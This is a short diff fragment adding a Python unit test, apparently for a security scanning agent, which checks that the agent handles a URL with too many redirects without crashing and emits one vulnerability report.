+ """Ensure that the agent does not crash when there are too many redirects."""
+ msg = m.Message(
+ selector="v3.asset.link",
+ data={"url": "https://expediaagents.com", "method": "GET"},
+ raw=b"\n\x19https://expediaagents.com\x12\x03GET",
+ )
+
+ asteroid_agent_instance.process(msg)
+
+ assert len(agent_mock) == 1
+ assert agent_mock[0].selector == "v3.report.vulnerability"